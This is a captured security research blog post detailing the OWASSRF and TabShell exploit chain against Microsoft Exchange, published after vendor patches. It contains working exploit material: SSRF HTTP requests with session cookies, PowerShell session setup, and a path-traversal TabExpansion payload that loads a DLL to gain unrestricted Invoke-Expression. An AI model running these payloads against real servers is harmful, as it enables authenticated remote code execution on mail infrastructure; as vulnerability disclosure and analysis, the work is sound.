blog.viettelcybersecurity.com Open in urlscan Pro
2402:800:20ff:4013::27  Public Scan

URL: https://blog.viettelcybersecurity.com/tabshell-owassrf/
Submission: On January 11 via api from IN — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

 * Home
 * About Us
 * News
 * Threats
 * Researches


Subscribe
Researches


THE OWASSRF + TABSHELL EXPLOIT CHAIN

 * 

RSKVP93

Dec 26, 2022 • 9 min read

We see that one of our vulnerabilities is exploited in the wild Link. So we
decided to public the detail analysis of our two bug chain. Any customer has
enough information to mitigate these bugs. The vendor also released all patches
two weeks ago.

This blog post shares the detail of two vulnerabilities our team reported to
MSRC:

 * OWASSRF: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41080
 * TabShell:
   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076


PART 1: OWASSRF

Actually, I knew the two SSRF bugs (Autodiscover and Owa) from more than one
year ago when I joined Pwn2own event last year. But the Autodiscover SSRF was
not fixed at that time so I didn't report the OWA SSRF (util ProxyNotShell has
exploited in the wild recently). I think Microsoft didn't fix the root cause of
SSRF bug just because only SSRF alone cannot make the real impact.

The POC of OWASSRF is simple as the below request:

GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1
Host: 192.168.137.211
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/test@gmail.com
Cookie: <CHANGE HERE>


When we send request to /owa endpoint on the frontend. The
OwaProxyRequestHandler.GetTargetBackEndServerUrl is called to calculate the url
of the request to be sent to the backend.
It then call OwaEcpProxyRequestHandler.GetClientUrlForProxy, the code of that
function is as below:

protected override UriBuilder GetClientUrlForProxy()
{
    UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
    if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))
    {
        uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));
    }
    return uriBuilder;
}

public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress)
{
    ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
    return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);
}


As can be seen, it calls UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath to
remove this.ExplicitSignOnAddress from the request path.
The vulnerability is that we can set this.ExplicitSignOnAddress by sending it in
the header X-OWA-ExplicitLogonUser.
So by setting it to a email that start with owa/ (for example:
owa/test@gmail.com) and request the url: /owa/test%40gmail.com/mapi/nspi,
OwaEcpProxyRequestHandler. GetClientUrlForProxy will help us remove
owa/test%40gmail.com in url and the request is sent to /mapi/nspi on the backend
server which give us an authenticated SSRF vulnerability.

An example request that exploit that vuln to send request to /mapi/nspi is as
following:

GET /owa/test%40gmail.com/mapi/nspi HTTP/1.1
Host: 192.168.137.211
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/test@gmail.com
Cookie: X-BackEndCookie=S-1-5-21-2656093215-258796493-3715049920-2601=u56Lnp2ejJqByMvJx56ZzMfSysnNm9LLz56c0seZzc/Sy83NyMfLnJ6dzM7MgYHNz83N0s7O0s7Nq87Oxc7PxczO; ClientId=C4179E2222DB4C648C0530180ADCE3A0; UC=cc8eb85baefa4004adb4cd6d50c355bc; X-OWA-CANARY=18H5f0RJdkCnKMAISZanZsBJI4sLrdoI1D0hGp4YBYyT0SL9SYLOebRwnbI1mp6PFStIHY5u6cE.; cadata=v6LoKl833IfszAjlUg3mgrWwYrQQ/vlWtLwGA5OyLe5LEtpdQvRz9f21cv1W61dKDMpdaB5y5NShqEIkyz64ncsYlo+Mt48GPt6nr0lR3Cs=; cadataIV=B5rzxVbcOv5fmn2QArN/0f39crVSwpfgJ6VFy8ozXvjc190bG2gRaOsxamCiz1zResFRhaCud0ompb17UQI8O9INGSgwdFVdO3gbrKN3wZt0/XoLw1ef6N0ji5M9/iSxenrmdHyE/L1i+I04hyXXkq6lrP3OIzzy4WgGFMDEza4+cpQSjkvArLwnJ7tF9EuNrIR96sg5I60nbGjruS7bxkHz6bezHLhiPotgn8MKA0eBfNeBryCmxJLt+xcdFF6YnHnTA1meovv9vDeEDhImwolOGZQ7kqYrxQzSoJr1A+6gFpExChdQpAmxQivlBuKEBDKT+utHdXT907pxpBZMuw==; cadataKey=fLQs1PepeFD7WADMiie4T8594qyKT76zPED/yrfLDafZqCtwSR86OCP0M3d7oywrQLOegrQqVkufd4BmBOf1iAwBOib2FuB2mukPwIKFtUb6bqYbRYTbN2c+bfLsYt2EdQCulz17y8mjRBzrSju4FvuNVAjMNNiRYnn1dEGTYkl2enZfjf3kp2M6EIqux33qPs93LZmsYnNx9Tu4uh6KXh35hp39e81Zu46fMD6ZwLQ/BDAtZkZTQ5DlZ42sur75CMN1ReMAMpzNFDoxaCKPD7XXKxF7CzqwWI0V8GE3pN9YKJRPXmWgP0Jp3K1z0KwhBJEcrLbftAlTgGJb4/9jXQ==; cadataSig=FyQoA9mAw0xeEdo8JlWBHnNLVo+nB4OY1YFrGQc+wy8=; cadataTTL=YqBmg7U9pNe8h8FjnG55YA==


To be more specific about the SSRF, the request that is sent to the backend is
authenticated with the account that we used to authenticate to the frontend,
which in my case is victim. It can be confirmed by observed the User field in
the response of server:

<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.1118.15<br>
Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> MYCORP\victim<br>
<b>UPN:</b> <br><b>SID:</b> S-1-5-21-2656093215-258796493-3715049920-2601<br><b>Organization:</b> <br>
<b>Authentication:</b> Basic<br>
<b>PUID:</b> <br>
<b>TenantGuid::</b> </p><br>
<p><b>Cafe:</b> win-9i2q3pvpkvp.mycorp.lab<br>
<b>Mailbox:</b> win-9i2q3pvpkvp.mycorp.lab</p><p><br><br><br>
<b>Created:</b> 10/13/2022 12:42:55 PM</p>
</body></html>


And by leveraging this vulnerability, we can reach other endpoint of backend
such as /powershell which give us the ability to interactive with the Exchange
Remote Powershell, which normally cant be accessed from remote host.


PART 2: TABSHELL

The Exchange Server and Exchange Online have the powershell remoting feature
that allows a normal user to make a remoting session with sandbox (a normal user
can only run some exchange cmdlets). This TabShell bug will show a clever way to
escape the sandbox to run arbitrary cmdlet.
The Skype for Business Server has also the powershell remoting feature, but the
attacker is at least in the HelpDesk group users.

This bug actually includes a few stages (The following detail analysis is
applied for the on-premises version of Exchange Server).


STAGE1. CREATE A RESTRICTED POWERSHELL SESSION FOR A NORMAL EXCHANGE USER

This is powershell snippet to create a session

$secureString = ConvertTo-SecureString -String "xxxxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption


Run a command in session:

Invoke-Command -Session $Session -ScriptBlock {get-mailbox}


This session is quite restricted:

 * We can not run arbitrary command like Invoke-Expression, only few whitelist
   Exchange cmdlets + some core cmdlets like Get-Command, Get-Help.
 * We can not run a full powershell script because of the
   LanguageMode=NoLanguage, only a simple cmdlet with its parameter.
 * We can get list avaible public cmdlets by run Get-Command

This restricted powershell session is created by Runspace feature - Reference


STAGE2. ENABLE TABEXPANSION IN RUNSPACE

At first, I did audit all core cmdlets to find a vulnerablity. I almost
succeeded with Get-Help command after a week researching but it's finally
failed.

Next, I try to expand the attack surface and then I found a secret feature:
TabExpansion.

When creating a powershell session, we can pass ApplicationArguments



If we pass WSManStackVersion < 3.0, we can enable public TabExpansion function
in the initialSessionState, so we can call it in the restricted powershell
session



Class: System.Management.Automation.Remoting.ServerRemoteSession Method:
HandleCreateRunspacePool

This is the powershell snippet to create a session with public TabExpansion

$secureString = ConvertTo-SecureString -String "xxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption


Run a command in session:

Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}


Here is the beautiful code of TabExpansion: Source

So, at this stage, we have public TabExpansion function. I started to audit this
function to find a command injection bug. I saw a few Invoke-Expression calls
but I cannot turn it into a real vulnerablity.


STAGE3. USING TABEXPANSION FUNCTION TO INVOKE GET-COMMAND CMDLET WITH ARBITRARY
-NAME PARAMETER

I cannot exploit directly TabExpansion function. But I can make TabExpansion
function to call Get-Command with arbitrary -Name parameter. But why do we just
call Get-Command directly? It's a public cmdlet. The nice thing is the internal
call is more powerful than the direct call.

Here is the poc snippet:

TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test"


This function will parse the line parameter and call
Get-Command NetTCPIP\Test-NetConnection




STAGE4. USING GET-COMMAND TO LOAD ARBITRARY MODULE WITH IMPORT-MODULE

The Get-Command cmdlet has auto-load module feature from Powershell 3.0



The full implementation of this feature is complex, I only show you the related
code:
The source code is in System.Management.Automation.CommandDiscovery class and
LookupCommandInfo method

the TryNormalSearch method is used first but if the commandInfo is not found
(null), the TryModuleAutoLoading method will be called.



In the TryModuleAutoLoading method, modulename (text2 variable) will be parsed
from commandName



And then the module will be loaded with AutoloadSpecifiedModule method




The interesting thing here is the visibility of Import-Module cmdlet is private
but it is called internally in Get-Command cmdlet so the CommandOrigin is
internal and it is not restricted in the sandbox.

So for load NetTCPIP module, I will run the following function

Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }


This will lead to invoke cmdlet: Import-Module -Name NetTCPIP


STAGE5. USING PATH TRAVERSAL TO LOAD MODULE FROM A DLL AND IMPORT PUBLIC CMDLET
INTO CURRENT SESSION

In stage4, we can load arbitrary module by modulename in PSModulePath
(C:\Program Files\WindowsPowerShell\Modules,
C:\Windows\system32\WindowsPowerShell\v1.0\Modules)

But after digging into Import-Module cmdlet, I found that I can use path
traversal to load module from a arbitrary dll in file system

The payload is

Invoke-Command -Session $Session -ScriptBlock { 
    TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" 
}


The call stack is


The Import-Module cmdlet is quite complex, it supports many kinds of module
loading (module manisfest file .psd1 , powershell script file .ps1, managed dll
with cmdlet .dll)

By using a module name with .dll ending, I can make Import-Module cmdlet go to
LoadBinaryModule method. It will load the dll and import all cmdlets in that
module into the current session.

The magic problem is all cmdlets will be imported with public visibility. So
they can be invoked after that.
In the above payload, I do load module Microsoft.PowerShell.Commands.Utility.dll
that contains Invoke-Expression cmdlet.

This is the command to call imported Invoke-Expression cmdlet

Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }


And from now, we can use Invoke-Expression to run any powershell script without
any restricted.


DEMO

We can run the exploit with Exchange on-premises, Exchange online and Skype for
Business Server.

 * The Exchange on-premises needs to use OWASSRF bug to access the powershell
   remoting endpoint.
 * The Exchange online has public powershell remoting endpoint.
 * The Skype for Business Server has public powershell remoting endpoint but
   need at least HelpDesk group privilege by default.

And we don't have subscription for Skype For Business Online, it's end of life
now. Microsoft Teams seems to have the same backend services as Skype for
Business but the powershell remoting endpoint is deprecated and may be removed.

Here is the video demo for Exchange on-premises with normal user:




THE FIX

The TabExpansion is removed with the following commit Link
That kills the first stage of the chains.

But other issues seem to be still there and can be abuse in another way. I'm not
sure about that.

With .Net Framework, the fix is a little different:





That kind of fix can make an attacker put a backdoor in server with a registry
key to enable TabShell exploit.


CREDITS

 * rskvp93 (@rskvp93) from VcsLab of Viettel Cyber Security
 * Q5Ca (@_q5ca) from VcsLab of Viettel Cyber Security
 * nxhoang99 (@nxhoang99) from VcsLab of Viettel Cyber Security


SIGN UP FOR MORE LIKE THIS.

Enter your email
Subscribe


TP-LINK TL-WR940N: 1-DAYS ANALYSIS AFTER STORY. (CVE-2022-43636 &
CVE-2022-43635)

After finished my 1-days analysis, I’ve looked into other function of the web
service binary and found a funny bug in the authenticate process. I/ Login
Process Before we talk about the bug, let’s have a look at the communication
between client and device. Login sequenceAs you can

 * 

Công Thành Nguyễn Dec 26, 2022 • 3 min read


BÁO CÁO THỊ TRƯỜNG AN TOÀN THÔNG TIN VIỆT NAM NĂM 2022



 * 

Công ty An ninh mạng Viettel Dec 23, 2022 • 2 min read


THE FIRST STEP TO PWN2OWN - A SAD ONE

INTRODUCTION When I was taking a look at the UPnP binary of NETGEAR RAX30 for
PWN2OWN Toronto 2022, I found a command injection vulnerability on the LAN side.
This is the first vulnerability that I have ever found, but it is a die young
one. The patch came right before

 * 

Vương Quốc Huy Dec 9, 2022 • 2 min read
Blog of Viettel Cyber Security © 2023

Powered by Ghost